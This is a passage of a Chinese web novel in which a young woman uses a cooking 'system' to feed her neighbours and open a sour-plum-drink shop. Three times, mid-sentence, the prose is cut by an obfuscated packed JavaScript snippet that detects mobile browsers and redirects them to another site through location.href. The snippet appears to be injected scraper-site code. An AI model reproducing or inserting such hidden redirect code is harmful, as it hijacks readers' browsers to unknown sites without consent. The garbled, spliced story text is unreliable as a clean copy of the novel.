白景没有说话，直接给她夹了一块猪油渣，白母一下子睁大了双眼。入口微微酥脆，肉香中带着一股奇异的焦香，仿佛世间所有的香气都汇聚到了一起，香得让人含在嘴里舍不得咽下去。 这真是猪肉做出来的？ 以前这么多年的菜真是白吃了！ 白母吃了一口又一口，当她的筷子第三次伸出去的时候，白景拦住了她。大病初愈，这种油腻的东西吃两口解解馋就行了，哪能连着吃这么多。 正好福伯进来了，白景忙把瓷碗递给他：“福伯，快来尝尝，然后赶紧拿出去，晚上用来配冷淘吃。” 白母眼巴巴地看过去，捏着筷子不知道往那边伸，急得连声道：“哪里就这么柔弱了，以前我年轻的时候一顿三碗油！再给我吃一口，就一口！” 11. 酸菜猪骨汤 最终白母还是没吃到那口油渣，只能叹着气等晚饭的到来：“等吃冷淘的时候，我要吃三块，不，五块油渣！” 白景就“是是是好好好”地应着，给她分配了一个清洗槐叶的活，好歹把人哄出了厨房。 过年的瓷盘上已经放了一应准备好的调料，买不到辣椒，她就用茱萸姜蒜等物代替，正好就着锅中残留的猪油爆香。 “呲！”姜蒜等物滑入锅中。 已经被加热到足够温度的猪油，一接触就把调料炸出白色的烟气，混着被激发出的香味迅速在厨房里扩散，其中还带着微微刺鼻的辛辣之气，白景没防备之下被呛得打了几个喷嚏，却也记得退后几步侧开脸。 她面色不变地走回原位，抄起旁边切好的酸菜倒入锅中，另一只手快速翻炒，酸菜的酸香味也这过程中裹进了调料的辛辣中，刺激得口水不断分泌。 厨房外，白母心不在焉地洗着手里的槐叶，脖子一转一转地往厨房看去。 好香，想吃~ 不行，得先干活…… 等酸菜炒得差不多了，白景就从旁边的锅中舀了一瓢热水冲入其中，用铲子转了两圈搅匀就盖上锅盖闷煮。 趁着这空档，她争分夺秒地把墙角的小火炉升了起来。 骨头和肉要炖出滋味来，时间短不了，火有不能太猛，正适合放在小炉子中小火慢炖。 幸好蜂窝煤已经被发明出来，昨日采购的时候买了一批回来，正好能用上。 锅中的酸菜汤被连汤带水转移到干净的砂锅中，旁边洗净备用的骨头和肉也一起倒进去，水略少了点，白景又往里加了点热水直到没过肉块。 炖着砂锅的小炉子被移到了厨房门口，靠着墙边的位置，白景收拾好灶台就走了出去。 她走到井边接过白母手头的活计，视线在她额头上的汗珠上扫过，状似无意地说：“阿娘，炉子里炖着菜，要有人看着点。” 白母眼睛一亮，忙站起来：“我去看着。” 她三步并作两边走到炉子边，深深吸了一口气，酸、香、辣……真好吃啊。 白景看了眼天色，洗树叶的动作加快了一些，快速洗碗又过了一遍水，就放到了一旁的笸箩中。 槐叶冷淘要用槐叶拧出的汁和面，现代能直接用榨汁机，但在时候只能用研钵慢慢研磨，若是量多就用捣碓，现在他们只是几人量用研钵就足够了。 白景把这份活计交给体力最好的福伯，起身去找木板。 她要先把新手任务的奖励拿了。 索性她的目标是那二十斤冰糖，不需要多么精美的招牌，直接在柴房里转了一圈，找了一块直挺挺的木板。那木板不大，只有一个巴掌宽，字若是写大一点能直接出线。 白景把这块木板拖到井边，打了一桶水洗洗涮涮，就着午后热烈的阳光直接晒干，然后把它搬到前院柜台上，略一犹豫才挥笔写下三个字：闻香来。 她也是有野心的，虽然现在碍于材料和本钱只能卖酸梅汤，但以后肯定会扩展业务，如果命名为单一的酸梅汤店或是面馆小吃店，都会在一定程度上有所限制。 后续如果想改店名更是对品牌的一大打击，不如一开始就挑个好的，但这样也是有缺点的，比不上面馆烧饼店糕点铺这些简单明了就是一大缺陷。 不过白景自认为占据这大好地段，又有系统支持，这点困难对她的影响没那么大。 她拾掇拾掇把那写了字的木牌子往墙上一挂，系统的提示就响起来了—— 【滴！新手任务1：拥有一家属于自己的美食店，已完后，奖励[二十斤冰糖]已发放至背包，请玩家玩家自行取用】 成了！ 白景强忍住激动地打开背包，用意识轻点冰糖，掌心就出现了一袋一斤装的冰糖，看那色泽还是微黄的老冰糖。 她用手指捻了一小块含进嘴里，冰糖特有的清甜在舌尖化开，是跟白糖的甜腻与红糖的厚重不同的柔和，最适合用来调味。 白景将拆开的油纸包随意拢了拢，就带着它往后厨走去。 只要有美食系统在，以后她还会有更多的异常，这些显然无法瞒过最亲近的白母与福伯，而且她也不是那种为了遮掩委屈自己的人。 不过她也不会主动解释，他们来问就给出解释，不来问就直接当没看到，说多错多。 白景走到小炉子旁，掀开盖子放了两小块冰糖，缓缓化开的冰糖中和了茱萸姜蒜辛辣的味道，让口感更加柔和，也添了几分鲜味。 剩下的冰糖没有拿出来，她只是找了个能密封的罐子，把油纸包里的冰糖转移到罐子中，封好放在厨房柜子的倒数第二层，那是放各种调味品的地方。 最麻烦的一道菜解决了，剩下的就方便许多了。 那边福伯已经把槐叶拧出的汁端过来，白景只需要把汁水和今日新买的面混合，搅拌之后染上绿色的面团显得清新极了，在这炎炎夏日中仿佛自带一股清凉之意。 剩下的步骤与手工制作的面条并无差别，根据自己的口味制作成细面或是宽面，白景考虑到不同人的口味，两种各做了一半。 锅中沸腾的水咕嘟咕嘟冒出大泡泡，裹着一层薄薄面粉的绿面被打着圈儿下到锅中，在沸水的翻滚中渐渐舒展，白景用长木筷轻轻搅动防止粘连，等面条浮起就快速捞出放入刚才准备的凉水中。 槐叶冷淘就在于一个“冷”字，自然不能就这么热气腾腾地下肚，但现在也没那个条件冷藏，所以白景就让福伯把面盆装入木桶里，吊着泡进最凉爽的水井中。 接下来就是准备凉拌的佐料了，冷淘好不好吃，一是面够不够劲道爽口，二就是酱料够不够味儿。 显然，白景做的酱味道非常好。 “再没有比这更好吃的了。”白母沾了一筷子小小地舔了一口，满足地眯起眼睛细细体味。 福伯没有说话，却夹着这酱连吃了两个早上剩下的烧饼，从表情到动作都在诠释着“好吃”两个字。 * 隔着一道墙的院子店铺中，一个七八岁的男童正扒着门框斯溜口水，脖子还伸得老长，恨不得直接钻进隔壁院子去。 另一个比他大了几岁的女孩啃了口手中的烧饼，连原本香喷喷的肉馅都吃得没滋没味的，只一个劲儿地问：“阿娘，几时了？” “催什么催，太阳都还在头顶呢，哪有这个点去别人家吃晚饭的！一个个饿死鬼投胎似的，老娘哪天短了你们的吃！”梅姐不耐烦地回头骂了两句，如果没有偷偷咽口水的动作说服力就更强了。 不行啊，真的太香了。 她抽动鼻子，常年与食物打交道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763933|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验，让她轻易就分辨出了这里头的荤油、酸菜、猪肉，还有黄豆酱的气味儿。 都是寻常的食材，怎么就香成这样了呢？！ “吃点肉干先顶顶。”梅姐起身从锁起来的柜子中拿出两根肉干，一人一条发过去。 要说这肉干，也是下了大本钱的，各种大料盐酱糖都没少加，换了其他时间，两个小的听到这话早就欢呼着跑来抢过去了，但现在面对塞到手里的肉干，他们却只皱着眉一副很勉强的样子。 “说不定那些菜只是闻着好吃呢，还是咱们家的肉干好吃。”女孩咽了咽口水，使劲吸吸鼻子，就着这香气咬了一口肉干。 男童却还没学会她这份克制的自我安慰，捏着肉干没往嘴里塞，而是很直白地反问：“姐姐，真的吗？可是闻着真的好香啊，要是每天都能闻到，我能配着它顿顿吃炊饼。” 梅姐看两人实在难捱，无奈劝道：“你看外头那些，”她示意两人看向门外围过来的路人，“我们过一两个时辰就能吃到，那些人就只能围着流口水。这样想是不是舒服很多了？” 话音刚落，门外就有被香得狠了的路人走进来，梅姐一看还是个熟面孔。 那熟人一进来就忙不迭地追问：“梅娘啊，你院子里搬进来什么人家啊，是不是做生意的？什么时候开张？” 这连门都不开的样子，瞧着也不像是要开门做生意的架势。一想到这么香的东西只能闻不能吃，那人就忍不住露出一脸的心痛不舍。 两家生意没有冲突，梅姐也不会主动搅了白景的买卖，半是解释半是炫耀般道：“是这两天刚搬来的一家子，是打算做些小买卖的，这才刚落脚总得先收拾收拾。我啊就是随口帮了点小忙，人家就请我吃饭，没想到一顿便饭做得都丰盛。嗐，怪不好意思的。” 熟客在心里默默吐槽：你这表情可不像是不好意思的样子。 又想：要是也有人请我吃这么一顿饭，我也忍不住想对人显摆显摆。 他往外走了几步，转头见隔壁的门依旧关着，只能遗憾地叹着气走入人群。 “走了走了，今日不开张，赶紧家去吧。”那人没忍住又往小院门看了一眼，这一看倒是被他看到了点东西，“嗳，墙角那个，就那块有字的木板子上，是不是写了什么？” 他一说，其他人也跟着看过去了，人群中自有识字的人念出了上面的字：“闻香来。好一个‘闻香来’，咱们可不就是寻着这香气围过来的么。” “还有这字，一勾一划间清隽有力，非数十年功力不可成，着实是一笔好字啊。”识字的那人对着那几个字大夸特夸，恨不得当场结识。 旁的人就问了：“林相公，那字真有这么好？” 林相公答道：“反正我不如。真希望这家店早日开张啊，就冲着这笔字还有这香气，只怕用的是大户人家祖传的秘方嘞，咱也算是跟大老爷们吃一样的菜了。” 这话说得巧妙，原本不感兴趣的人也不免生出向往之意。 跟大老爷吃一样的菜啊，四舍五入，他们也算体验过大老爷的生活了。 这可真是……诱惑十足啊。 众人纷纷约好等小店开张之日，一定要过来吃一次。 还在院子中忙碌的白景三人完全不知道这么一个发展，确是无心插柳柳成荫了。 12. 槐叶冷淘 在梅姐一家人做啥也不安稳的期盼中，太阳终于西斜了。 斜斜的余晖洒在路上，迎接着干活归来的众人，也吸引路过的人们不自觉慢下脚步。 “什么东西这么香？” “谁家的煮了肉汤，可馋死我了，等会儿就去割一块肉回家。” “最近街上有新开的小摊子吗？我每天路过怎么不见生面孔。” 在一句句的讨论声中，关了一下午的店门终于打开了，却见里面走出来一位年轻的小娘子。 她一推开门，本就霸道的香味就迅速从门缝里钻出来，飞快地在面前这方空间里蔓延，让所有人都忍不住深吸了一口香气。 只见她手上动作不停，直接打开了一排的门，将里头的桌椅都露了出来，位置恰当的人一眼就看到了桌上那咕嘟嘟冒着热气的锅子，周围还摆了一圈盆碗瓶罐。 “梅姐，吃饭啦。”年轻的小娘子小走几步，对着烧饼店喊了一声。 几乎是话音刚落，隔壁就立刻传来了回应声：“来了来了。”又听她在催着，“当家的，赶紧出来了。” 白景只是略等了等，就看到梅姐带着两个小孩并一个高壮的男人走出来，应当就是她说过的两个孩子和丈夫了。 “久等了，快进来。”白景笑意盈盈地把人往店里引。 店铺里初期没打算设置堂食，所以只有一张长桌子摆着，上面放了那口炖着酸菜猪骨汤的砂锅，边上一个大盆里放了碧绿碧绿的物件，瞧着像是面条却又有面条没有的清新，周围还放了一碗碗装了各式配料与调味。 白母正拿了碗筷放在桌上，见他们进来忙招呼着：“快坐下，天气热，就没整那些大鱼大肉，怠慢几位了。” 梅姐几人自然不会应下这话，生意人的自来熟就发挥了作用：“怠慢什么，我家这两个一下午都在盼着呢，连肉干都不香了。你家这手艺便是去开酒楼都足够了。” 这话当然都知道是客气话，白景没应声，只招呼道：“不知道你们喜欢什么样式的，细面宽面都做了点。喜欢哪种，我给你们拌上。” 梅姐选了宽面，她丈夫选了细面，两个小的倒是贪心，两种都想试试。 白景先帮两个大人加好调料，又给两个小孩把宽面细面都挑了一撮，哄道：“给你们两种混在一起好不好？” 待他们点头后又细细问了忌口和喜好，帮他们把酱料拌好，碧绿的槐叶冷淘裹上一层褐色的酱汁，上面还铺了一层胡萝卜碎末，碧绿、褐色、嫩红，配在一起格外好看。 梅姐抓起筷子快速把面与酱汁搅拌均匀，让每一根面都裹上酱汁，然后迫不及待地夹了满满一筷子送入口中。 面才刚一入口她就忍不住睁大了眼睛，酱料的醇厚、槐叶的清爽混在一起，竟然还有一股隐藏其中的葱香，刹那间就占据了口腔的每一个角落，让她忍不住一筷子接着一筷子，根本停不下来。 直到又一筷子夹了个空，梅姐才从这霸道的美味中清醒过来。 “白妹子，这碗面，哦不，槐叶冷淘也太好吃了吧。我长这么大，从北到南就没吃过比这更好吃的面！就冲这手艺，只要一开张，绝对客似云来。” 在她身旁的座位上，她丈夫已经吃完了一碗，连第二碗都下去了一小半。那两个小的更是吃得连头都抬不起来，恨不得直接把脸埋进陶碗里。 餐桌这边，白母和福伯也是差不多的表现，只有白景还有心思从砂锅中捞了一块骨头慢悠悠啃着。 听到梅姐夸张的称赞，不禁一笑：“你们能喜欢就好，我就怕不合胃口呢。这冷淘做起来也方便，加不加槐叶或是换成其他材料都能做，你若是喜欢，抽空过来学，我教你。” 梅姐一听脸色都变了，急声告诫：“这可使不得，使不得！这种方子是要当传家宝传下去的，怎么能给我一个外人呢。” 白景便道：“冷淘要好吃，一看面二看酱。你只学了面不算什么，再说了，这跟寻常的面条做法没什么差别，只取了点巧，那些面馆吃个几回就能摸索出来。” 见梅姐还是神色惴惴，又道：“这槐叶冷淘做起来麻烦，我不准备对外售卖，梅姐不必担心。” 这话半真半假，做起来不算麻烦，但主要原料之一的槐叶只有一棵，自家人吃还行，往外卖压根就不够几餐。 * 店门外，一群捧着碗的人蹲在马路对面，吃一口饭往这里看一眼，看一眼，再吃一口，再看一眼，再吃……吃不下了。 “他们好像吃得很香啊。” “是啊，那几个都快把脸埋进去了，好想也尝一口哦。” “那店家什么时候能开业？我还得等几天？！” “你们都盯着那绿色的面，我倒是想尝尝那锅子里的菜，又酸又辣，肯定特别下饭。”一人面无表情地往嘴里扒饭，眼珠子直勾勾地盯着那只能看到半个侧身的砂锅。 一般人被这么多双眼睛盯着早就不适了，但沉浸在美食世界中的梅姐等人愣是一点也没回头，只一个劲儿地往嘴里扒拉面条，偶尔抽空了就捞几筷子炖了软烂入味的酸菜肉吃。 “这梅娘，平时可没看出来她这么能吃，这都第三碗了！”对面一直盯着的人跟被吃了自己的份一样，看到梅姐等人多吃了一口都心疼地只嘟囔。 “这般好手艺，没几十年练不出来吧。不知道什么时候开张？” 不管他们在屋外流了多少口水，餐桌前的几人是吃得舒舒服服，各个肚皮滚圆。 白景无奈地摇头，转身进厨房拿了一壶顺手泡的山楂茶出来。 微红的山楂茶徐徐滑入瓷杯，杯壁上挂着晶莹的水珠，好像舞女飞扬的裙角，看着就赏心悦目。 “山楂茶，都喝点吧，有助于消食。” 吃过了这么好吃的饭菜，几人下意识就对白景多了些信任，听她这么说，撑着肚子揉的手勉强腾出来拿起杯子，咕嘟咕嘟灌了几口。 微微酸，丝丝甜，还带了一股奇异的清凉之感，几口下去连原本就不明显的油腻都被彻底解去，那叫一个舒爽。 梅姐家的烧饼铺主要在早上卖，他丈夫在附近找了个活儿，基本半上午才开始上工，正好卖完烧饼赶过去。而梅姐趁着空档教两个小的做烧饼，好把手艺传下去。 “我说这么多就是想告诉你，你要是有手艺不需要顾忌我。笑什么！我梅娘在这里做了十余年生意，多少有点看人的眼光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763934|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你呀，一看就知道是心软重情的。 我也提前跟你说了，省得以后有别扭憋在心里，咱们这低头不见抬头见的，你不舒服我也不舒服。” 这番话可真是掏心窝子话了，梅娘这么巴心巴肝的，白景自然也没辜负她，当即便应下了。 不过她是真没想到这点，做主食费心费力不说，利润在食品行业也不算高，占的就是一个细水长流薄利多销。白景考虑到自家这三个老弱病，一开始就打算出奇制胜，靠新鲜玩意儿抢市场。 梅姐等人又多坐了一会儿，就起身告辞了。 夏天日头长，耽搁了这么会儿天色也还是透亮的，外边等了一圈的人，见主家走出来连忙围上去。 “小娘子，你家这店什么时候开张？” “小娘子，今日可要有多余的菜，我媳妇儿怀孕了吃不下饭，就想尝这一口。” “小娘子……” 白景没料到一走出去就被人层层包围，前世今生几十年第一次跟这么多陌生人近距离接触，唬得她楞在当场，最后还是梅姐解救了她。 从人群中脱离出来，白景脸上勉强扯出营业式微笑，道：“若是顺利，明日就开张，还请大家多多捧场。” “一定一定。” “小娘子家的手艺这么好，我们大老远闻到都走不动道了。” 不知谁问了一句：“你家店卖什么？” 白景笑着回道：“近日炎热，本店主推冰镇酸梅汤，清热解暑，正适合夏天饮用。” 这话一出周围就是一片寂静，众人面面相觑，脸色尴尬，再说起捧场之类的话就显得敷衍很多。 白景目送众人离去，还能听到远远传来的吐槽声： “好好的菜馆子不做，竟然去卖劳什子酸梅汤，咱有这闲钱买二两小酒多好。” “真不会做生意，咱都是冲着菜来的，她卖饮子。” 梅姐没有离开，站在原地又劝了几句，大抵也就是发挥长处，趁机打出名号的意思。不用说，也是不看好白景选的路子。 但这话外人说了没用，她一个刚认识一天的邻居，这样已经属于交浅言深了，要不是因着这顿饭，她连一个字都不会多说，见白景还是固执己见，她也就没再劝。 * 白景回屋的时候看不出什么表情，白母在她的沉默中误认为是沮丧担忧，便走过来安抚道：“景儿，你想做什么尽管去做，阿娘手头还有点积蓄，就算失败了也能重头再来。” 白景被她的话惊醒，下意识露出一个温和的笑：“阿娘，我没事，我只是在想明日几时开始卖酸梅汤。” 白母没有接话，她就继续往下说：“咱们大病初愈身体都不算多好，福伯经过之前那么一遭也得略作修养，若是像寻常的早餐摊子那样日日早起，只怕钱没赚到，人就先病了。” 福伯在一旁听到，忙说：“我没事，景姐儿尽管交给我，不过是早起一个时辰，不劳累什么的。” 这回不仅白景没同意，连白母也来制止了，最终三人商定后把开业时间定在了巳时。 这里对着大路，车队运送都从这条路过，来往的人渴了热了，一碗清凉解暑的酸梅汤正合适。 13. 秘制酸梅汤 收拾碗筷的活儿被白母接了过去，剩下的活也被福伯包了，白景无事可做就转身进了厨房。 此时离酸梅汤的材料泡下去已经差不多三个时辰，香气被完全激出，正是最好的熬制时间。 白景用襻膊敛了衣袖，又扯了一旁的围裙系上，端起砂锅……额，没端起来。 最后在福伯的帮助下，她把这巨大的砂锅抬上了灶台。 系统给的酸梅汤配方与寻常方子不同，寻常方子只要煮开就盛出来，但她这方子却要熬制两遍。 第一遍，用大火煮沸后转小火煮40分钟，谓之“一煎”；再将冰糖放入另一个锅中，过滤出锅中的酸梅汤食材备用，把熬煮过的汤倒进锅中，利用热汤融化冰糖，此谓“一留”。 第二遍，把过滤出的食材放回砂锅，加入清水再次大火煮沸，再转比小火略大的中小火收汁20分钟，这一步要注意火候的变化，此谓“二煎”；之后又把二次烹煮过的食材捞出来，将汤用纱布过滤后与第一次煮出的汤混合，此为“二留”。 经过“二煎二留”制作工序的酸梅汤冷却后，色泽沁透亮丽，比之寻常的酸梅汤风味更佳，消暑解乏，生津止渴，最适合夏日饮用。 白景略尝了口，是与记忆中相似的味道，这才放下心来。 “福伯，来帮我把汤吊到井里头。” 福伯听到呼唤忙放下手中的抹布，三两步跨进厨房。 夏天井水沁凉，正适合给热乎乎的酸梅汤降温，也能保证到明天早上不变味。 白景伸头看了看泡在井水里的大桶，琢磨着明天早上再看看，若是温度不够凉还得去买点冰回来。 * 次日清晨，天边都还没泛起鱼肚白，沿路两边的街道上就已经陆续亮起了一盏盏灯。 梅姐支起摊子，转头看了眼隔壁没动静的小院，只来得及跟丈夫说了两句，就投入到繁忙的准备工作中。 烧饼不比酸梅汤，这种天气要是做好了放一夜，面都能直接酸了，所以只能每天早早起来和馅、揉面、做饼。 梅姐家的烧饼味好饼大，用的也是真材实料，虽然比别的地方贵了一两文，但每天的回头客也从未少过。 因烧饼便于携带，来往的客人都是打包了就走，但今天却一反常态，时不时有人停下来回头往旁边看一眼，问一句：“隔壁还没开门呢？” 次数多了，连原本不知道的都好奇起来，什么样的美味让这么多人都念念不忘。 但直到买早饭的人陆续走完，隔壁院子才有了点动静。 * 白景今早一起来就带着福伯先去瞧了井中的酸梅汤。 经过一晚上的冰镇，酸梅汤已经很接近井水的温度，一口下去透心凉，萦绕在心头的隐隐燥热也一起散了去。 白景取了一床小棉被出来，在外面包裹着大桶，夏天温度高，不裹着点没一会儿凉气就泄光了。 又提了端子漏斗等物放在昨日就布置好的食桌上，转身回厨房拿出一叠碗和一筐用于打包的竹筒。 随后她捏着一个荷包开了门，转头吩咐道：“福伯，你把这桶酸梅汤拿到店门口去，我出去买点冰回来。” “呀！梅姐，你吓我一跳。”白景刚走出店门就看到梅姐正看着她，吓得她下意识退后了一步。 梅姐手上擦炉子的动作不停，嗔道：“人都走光了，我还以为你今天不开门了呢。” “哪能啊，昨天说好要开张的，再不开张我就要饿肚子了。”白景略说了几句，就往冰店而去，“我不跟你多说了，还得去买点冰回来。” 白景一边说一边抬头看了眼天色，时间有点赶，她不由地加快了脚步。 * 赵山是附近粮店做活的伙计，与那些在店里累死累活拿不了几个钱的伙计不同，他二姨婆家跟粮店的管事有点关系，他也顺着这条线在运粮队找了个活计。 这运粮队在外头风吹日晒的，苦吗？当然苦。累吗？当然累。 但每日的工钱比在店里卸货的足足多了十五文，一个月就是450文，这都够给家里婆娘扯身新衣裳、给娃娃多买两块糖了，要不是二姨婆的关系，他赵山就是削尖了脑袋也钻不进来。 这是平平无奇的一天。 粮铺的生意好，每日巳时和申时都要加送一次粮食，这也是赵山觉得最难熬的时候。 太阳公高高挂着，恨不得直接把人烤焦了，身上带着的水壶就跟泄了洪似的，没一会儿就见了底。 赵山难耐地舔了舔干涩起皮的嘴唇，又一次想着：要是能有冰冰凉凉的饮子就好了。 “如果有加了冰的饮子就好了。”赵山听到这话还以为自己没忍住心里的想头，把话说了出来，转头一看才发现是同行的年轻人。 那年轻人二十上下，一只手推着车，另一手不住拿着水囊抖动，一滴水孤零零地落下来，被他珍惜地抿进嘴里。 他扭头问赵山：“叔啊，附近就没口井或水沟？” 这鬼天气能把人晒化了，再走下去嗓子都能冒烟。昨天他忍了一路，回家连尿都尿不出来，急得他爹掐着脖子给他灌下去小半缸水。 赵山瞥了他一眼，脚步沉沉地往前迈：“小年轻就是吃不住苦，咱们拿这么高的工钱，不过少喝几口水而已。出来讨生活的，哪就这么金贵了，你现在刚开始做，多忍忍，等日子久了就习惯了。” 说完就闭口不言，他连口水都不想浪费。 走着走着，口中泛起熟悉的铁锈味，唾液在不断分泌，嗓子却干得冒烟。 ——忍忍吧，等送到地方就能打水了，谁不是这么忍过来的呢。 赵山艰难地咽了咽口水，用脖子上搭着的粗布抹了把汗，继续往前挪动脚步。 正当一行人慢吞吞地往前挪动时，就听到一道脆生生的女声从路边传来： “酸梅汤，加冰加糖的酸梅汤，大海碗也只要四文钱！走过路过不要错过！” “四文钱，四文钱，冰凉糖水带回家！清凉解暑，便宜大碗！” 赵山等人听了脚步都是一停，下意识往声音传来的方向看去。 什么？！ 加冰？加糖？ 四文钱？！ 冰冰凉凉的，还带着甜味儿的……糖水！ 赵山顺着这描述想象了一下，冰凉甜口的饮子，一口下肚连暑气都能逼出来，那得多舒坦啊。 “冰和糖多贵啊，那是有闲钱的人才能吃一口的好东西，四文钱，连个加荤腥的烧饼都买不起。” “对对对，肯定是骗人的，骗人……”边上有人附和着，脚步却不知不觉地慢了下来。 这人反应过来连忙快走几步，想赶上队伍，没防备直接撞到了米袋上，转头一看，好嘛，一个个都停下来往那边伸长了脖子。 看样子都是想过去买饮子的，但能不能停下也由不得他们做主。 于是队伍中众人纷纷往米粮车上看去，那里坐着一个带着草帽的年轻人，从衣着上就看着与其他人不同。 “小叶管事，我们能不能去买，买点饮子。”赵山期期艾艾地说出自己的请求，之后又像是怕被责怪，急声补充道，“之后小人会带着他们加快脚步，绝不会耽误送粮！” 小叶管事其实也热得不行，在不耽搁正事的前提下，他也很乐意去屋檐下歇歇脚。 他晃荡两下自己腰间的水囊，里头还装着半袋出发时灌进去的水。 只是去歇歇脚，我不买。 这样想着，小叶管事就跳下了粮车，往那边走去。 走近一看，是一位极年轻的姑娘，她的皮肤细腻光滑，若非在这里见到，他只会以为这是谁家娇宠的女郎在街边乘凉。 “郎君，天气炎热，来一碗清凉解暑的酸梅汤吧，最低只要四文钱。” 一个裹了棉被的木桶被放在矮桌上，盖子打开了一条缝，清凉酸甜的香气正从里面源源不断地传来，若是仔细瞧，还能看到里头飘着的碎冰，可见真是下了本钱的。 再看桌边摞着的碗，都快跟她脸一样大了。 “你这又是冰又是糖的，只买四文钱，能回本？” 白景见他身后跟了这一群人，又主动问起，似是有购买意向，脸上的笑就更热切了。 “四文钱的酸梅汤得掺水，水多汤少；八文钱的不掺水，全是用秘方熬煮的酸梅汤。”她指了指旁边桌上摆着的两只碗，一只碗里颜色纯正浓郁，另一口碗里却是较淡的紫红色。 她比划出两根手指：“就这一桶饮子，耗费我两斤糖。” 换做别的时候，白景这种白皙干净的小娘子总不能让人信赖，但在这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763935|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，正是她这身不知人间疾苦的气质，让人下意识相信她对糖这等珍贵材料的舍得。 小叶管事再往那木桶里看，糖不糖的看不出来，但那汤里沉浮的碎冰，还有肉眼可见的多种材料，却是实打实的。 白景把木桶盖子拉开了些，用端子在里头搅了一圈，顿时酸酸甜甜的味道顺着一阵阵凉意就往鼻子里钻。 小叶管事咽了咽口水。 见过这酸甜酸甜的饮子后，谁还喝得下水囊里温热的白水啊。 要不，来了一份？ 就在他摇摆间，听得那姑娘说：“来都来了，就当尝尝鲜了。” “我们新店开张，还推出了尝鲜版：两文钱一小碗，便是不喜欢也不过就是两文钱的事。” 来都来了…… 两文钱…… 小叶管事本就蠢蠢欲动的心思瞬间破土而出，“那就给我来一份尝鲜版。” “好嘞。”白景笑眯眯的，瞧着就像自家妹子那样亲切。 她这边一说定，一直沉默站在一旁的福伯就上前来拿起了端子，带着长柄的竹筒打水最适合不过，手一沉一提，满满一筒酸梅汤就倒入了手边的小碗里。 小叶管事眼睛利，打眼一瞧就看出这是一两的端子。 “您尝尝。”福伯递过来酸梅汤。 一两的酸梅汤不算多，装在小碗里也不过半碗的量。 小叶管事试探性地啜引一口，霎时间，一股冰凉之感直冲脑门，微酸、微甜、微凉，酸醒神、甜适口、凉解暑，待这口咽下，只觉得仿佛凉意都顺着喉管咽下了肚，连挥之不去的燥热都被逼了出来，只留下淡淡的清凉舒适。 赵山等人就看到原本还挑剔的小叶管事，捧着那碗酸梅汤一口接一口，像怕被人抢了似的，吨吨吨几口就喝了个底朝天。 小叶管事喝下最后一口，意犹未尽地舔了舔嘴角，迫不及待地把空碗伸过去：“再来一碗！要大碗的！” 门店不大，小叶管事站着位置不挪动，赵山他们也不敢催促，只能挨挨挤挤地蹭点屋檐下的阴凉，眼巴巴看着他喝了一碗又一碗，口水不要钱一般地疯狂分泌。 一碗，两碗，三碗…… 终于喝完了。 小叶管事把最后一口酸梅汤灌进肚子，满足地舔去嘴角残留的水渍，毫不犹豫地解下腰间的水囊，哗啦啦直接全倒了。 “再给我满上，我带着喝。” 福伯接过水囊，下意识看了白景一眼。 白景扫了眼水囊：“三斤多的水囊，64文，再加上刚才的四碗，一共90文。” 这价钱听得赵山等人心疼得直抽抽。 那四文四文的，听着不贵，咋就要这么多钱了呢？ 小叶管事倒是没说什么，利落地从怀里掏出荷包，取出一角银子递过去。 福伯接到手里掂了掂，从桌下的抽屉里取了十文钱：“找您的十文钱，您拿好。” 小叶管事看到他熟练的动作，奇道：“哟，熟手啊。” 见福伯笑了笑没接话，他也没再说，提着水囊就让开了位置。 走上前的来的赵山一行穿着汗衫搭着粗布，看着就跟之前的小叶管事不一样，所以白景也没给他们推荐什么尝鲜版，笑盈盈地推过去那只浅紫红的海碗。 “这么大一碗只需要四文钱，一份酸梅汤兑了三份水，加的水都是刚打上来沁凉的井水，还掺了好几大块冰。”她推开另一只木桶里的盖子，“瞧瞧，一打开盖子就冒着凉气儿。” 最后，这一行人几乎都买了一碗稀释版酸梅汤，还有一部分人选择喝下一半，剩下一半就倒进水壶里带走。 这一大群人围在这里呼啦啦地喝，简直就是活招牌，来往路过的人本来没想法的，都被挑起了几分好奇，跟着在他们后面排起了队。 排队的人多，引起的注意就更多。 人很多时候会有奇怪又相同的认知，比如一家店排的队越长，就下意识地认为这家店特别好吃。 原本还担心卖不完的一大桶酸梅汤，在开张还不到一个时辰的时候就卖空了。 这让那些排了好长队伍结果却喝不到的人免不得抱怨连连，但在这抱怨之下，对这家酸梅汤的想头却暗暗扎根。 ——明天早点来，我就尝尝鲜，多一碗都不会买。 14. 猪油渣酸菜包（一） 白景一边将用过的碗收到竹筐里，一边提高声音对着队伍喊：“不好意思，酸梅汤买完了，大家别等了。” 